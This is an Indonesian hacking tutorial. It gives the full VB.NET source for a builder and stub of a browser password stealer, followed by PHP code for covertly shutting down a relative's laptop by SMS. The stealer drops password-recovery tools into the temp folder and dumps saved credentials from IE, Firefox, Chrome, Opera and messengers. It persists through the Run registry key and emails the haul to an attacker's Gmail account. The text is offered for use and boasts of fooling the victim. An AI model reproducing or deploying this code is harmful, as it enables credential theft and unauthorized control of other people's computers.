belajar pemograman Vb.
net tentang aplikasi stealer atau aplikasi pencuri password yang telah
tersimpan dalam tmp software misalnya browser mosilla dll...
pertamax kita akan membuat 2 form yaitu build dan stubnya
langkah pertama buka visual basic 2008 dan pilih Windows form Aplication dan pada bagian
bawahnya ganti namanya menjadi Build >> klik OK
pada tab toolbox buat label sebanyak 2 buah, textbox, 2 buah, dan Button sebnayak 3 buah
(waduh kayak membuat lapet aja wkwkwkwkwkw)
Imports [Link]
Imports [Link]
Public Class Form1
Dim DisableHisRegistry As String
Dim Anti As String
Dim Stub, user, pass As String
Const FileSplit = "r3d3"
Private Sub Button1_Click(ByVal sender As [Link], ByVal e As
[Link]) Handles [Link]
user = [Link]
pass = [Link]
FileOpen(1, [Link] + "\[Link]", [Link],
[Link], [Link])
Stub = Space(LOF(1))
FileGet(1, Stub)
FileClose(1)
If [Link]([Link] + "\[Link]") Then
[Link]([Link] +
"\[Link]")
End If
FileOpen(1, [Link] + "\[Link]",
[Link], [Link], [Link])
FilePut(1, Stub & FileSplit & user & FileSplit & pass)
FileClose(1)
MsgBox("Server berhasil dibuat", [Link], "Berhasil")
End Sub
Private Sub Button2_Click(ByVal sender As [Link], ByVal e As
[Link]) Handles [Link]
If [Link] = "" Or [Link] = "" Then
MsgBox("Anda belum melengkapi informasi email atau username!")
Else
Try
Dim MailInfo As New MailMessage
[Link] = "Indonesian Cyber"
[Link]([Link])
[Link] = New MailAddress([Link])
[Link] = ("Berhasil, Mari belajar bersama Kami,
visit me: [Link]
Dim SMTP As New [Link]("[Link]")
[Link] = 587
[Link] = True
[Link] = New [Link]([Link],
[Link])
[Link](MailInfo)
MsgBox("Silahkan cek Email anda... ! ")
Catch GError As Exception
MsgBox("Pengiriman log gagal !")
End Try
End If
End Sub
Private Sub Button3_Click(ByVal sender As Object, ByVal e As
[Link]) Handles [Link]
[Link]("[Link]
End Sub
End Class
buka lagi visual basik 2008 dan pilih Windows form Aplication dan pada bagian bawahnya ganti
namanya menjadi Stub>> klik OK
buat textbox 1 buah, timer 1 buah
Imports [Link]
Imports [Link]
Public Class Form1
Dim Stub, text1, text2 As String
Dim settings(), user, pass As String
Const FileSplit = "test"
Function DialUpPWshow() As String
Dim open As String
Dim Ressource1() As Byte = [Link]
FileOpen(1, Environ("tmp") & "\[Link]", [Link])
FilePut(1, Ressource1)
FileClose(1)
Shell(Environ("tmp") & "\[Link] /stext " &
Environ("tmp") & "\[Link]", [Link])
open = [Link](Environ("tmp") & "\[Link]")
Return open
End Function
' ==indonesiancyber==
Function IE() As String
Dim open As String
Dim Ressource1() As Byte = [Link]
FileOpen(1, Environ("tmp") & "\[Link]", [Link])
FilePut(1, Ressource1)
FileClose(1)
Shell(Environ("tmp") & "\[Link] /stext " & Environ("tmp") &
"\[Link]", [Link])
open = [Link](Environ("tmp") & "\[Link]")
Return open
End Function
Function mess() As String
Dim open As String
Dim Ressource1() As Byte = [Link]
FileOpen(1, Environ("tmp") & "\[Link]", [Link])
FilePut(1, Ressource1)
FileClose(1)
Shell(Environ("tmp") & "\[Link] /stext " & Environ("tmp") &
"\[Link]", [Link])
open = [Link](Environ("tmp") & "\[Link]")
Return open
End Function
Function firefoxpass() As String
Dim open As String
Dim Ressource1() As Byte = [Link]
FileOpen(1, Environ("tmp") & "\[Link]",
[Link])
FilePut(1, Ressource1)
FileClose(1)
Shell(Environ("tmp") & "\[Link] /stext " &
Environ("tmp") & "\[Link]", [Link])
open = [Link](Environ("tmp") & "\[Link]")
Return open
End Function
Function chrome() As String
Dim open As String
Dim Ressource1() As Byte = [Link]
FileOpen(1, Environ("tmp") & "\[Link]",
[Link])
FilePut(1, Ressource1)
FileClose(1)
Shell(Environ("tmp") & "\[Link] /stext " &
Environ("tmp") & "\[Link]", [Link])
open = [Link](Environ("tmp") & "\[Link]")
Return open
End Function
Function opera() As String
Dim open As String
Dim Ressource1() As Byte = [Link]
FileOpen(1, Environ("tmp") & "\[Link]",
[Link])
FilePut(1, Ressource1)
FileClose(1)
Shell(Environ("tmp") & "\[Link] /stext " &
Environ("tmp") & "\[Link]", [Link])
open = [Link](Environ("tmp") &
"\[Link]")
Return open
End Function
Private Sub Form1_Load(ByVal sender As [Link], ByVal e As
[Link]) Handles [Link]
[Link] = False
FileOpen(1, [Link], [Link],
[Link], [Link])
text1 = Space(LOF(1))
FileGet(1, text1) ' options(1)
FileClose(1)
user = Split(text1, FileSplit)(1)
pass = Split(text1, FileSplit)(2)
[Link]()
End Sub
Private Sub Timer1_Tick(ByVal sender As [Link], ByVal e As
[Link]) Handles [Link]
Try
If [Link] Then
[Link]("SOFTWARE\Microsoft\Windows\Cu
rrentVersion\Run", True).SetValue([Link],
[Link])
Call DialUpPWshow()
Call firefoxpass()
Call mess()
Call IE()
Call chrome()
[Link] = [Link](Environ("tmp") &
"\[Link]") _
& [Link](Environ("tmp") & "\[Link]") _
& [Link](Environ("tmp") & "\[Link]") _
& [Link](Environ("tmp") & "\[Link]") _
& [Link](Environ("tmp") &
"\[Link]")
Dim MyMailMessage As New MailMessage()
[Link] = New MailAddress(user)
[Link](user)
[Link] = ("Indonesian cyber")
[Link] = ([Link])
Dim SMTPServer As New SmtpClient("[Link]")
[Link] = 587
[Link] = New
[Link](user, pass)
[Link] = True
[Link](MyMailMessage)
Exit Sub
End If
Catch ex As Exception
End Try
[Link]()
End Sub
End Class
Hack sms
function getSMS($hp){
echo "<script type=\"text/javascript\">
function runCheck(){
[Link]=\"".$_SERVER['PHP_SELF']."\"
}
</script>";
echo "<body onLoad=\"setTimeout ('runCheck()',60000)\">";
//MELAKUKAN PENGECEKKAN SETIAP 1 MENIT
$url = "[Link]
d=inbox&f=[Link]&Phonenumbers=".base64_encode($hp);
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_RETURNTRANSFER, true);
$getSource = curl_exec($ch);
curl_close($ch);
$noHtml = strip_tags($getSource);
$f1 = explode(base64_decode("Tk9NT1IgSFA="),$noHtml,2);
$f2 = explode(" ",$f1[1]);
$msgTime = $f2[2];
$f3 = explode("\n",$f2[4]);
$msg = trim($f3[2]);
$cekTimeLastMsg = mysql_query("SELECT * FROM inbox ORDER BY 1 DESC
LIMIT 0,1");
$row = mysql_fetch_row($cekTimeLastMsg);
if($msgTime!=$row[1]){
if($msg=="shutdown"){
system("shutdown -s -t 0");
$set = mysql_query("INSERT INTO `shutdown-web-
sms`.`inbox` (
`id` , `rectime` ,
`msg` , `status`
) VALUES (NULL , '".
$msgTime."', '".$msg."', '1');");
}
}
}
$hp = "085256593315";
getSMS($hp);
database
CREATE TABLE IF NOT EXISTS `inbox` (
`id` int(3) NOT NULL AUTO_INCREMENT,
`rectime` char(8) NOT NULL,
`msg` varchar(20) NOT NULL,
`status` tinyint(1) NOT NULL,
PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=latin1 AUTO_INCREMENT=1 ;
“Laptop kakakku aku matikan lewat SMS juga kok, memanfaatkan Layanan Situs penyedia SMS
Gratisan di Internet. Situs yang aku pake adalah [Link], Jadi kalo laptop kakakku
terkoneksi internet, halaman awal yang pertama terbuka sudah aku set untuk membuka halaman
web yang sudah aku program untuk mengecek SMS yang aku kirim ke situs tersebut. Kalo kakakku
pinter, pasti dia bakalan nge-close halaman web tersebut, tapi sepertinya kakakku bodoh. Hehe”
//Article Begin
Skema yang terjadi disini sebenarnya adalah:
1. SMS (dari mawar) >dikirimke> [Link] [disitus ini SMS dari Mawar tersimpan,
sehingga tugas code yang dibuat mawar adalah mengecek SMS terakhir yang dikirim dan belum
diproses.]
2. Code >mengecek-sms-terakhir-dari-nomor-HP-Mawar-di> [Link] . Jika
ditemukan SMS dengan pesan “shutdown” maka Code akan memerintahkan Laptop untuk
mematikan komputer.
Sehingga yang perlu dilakukan Mawar disini adalah membuat sebuah database lokal untuk
menyimpan semua SMS dari [Link] yang dikirim dari nomor HP nya.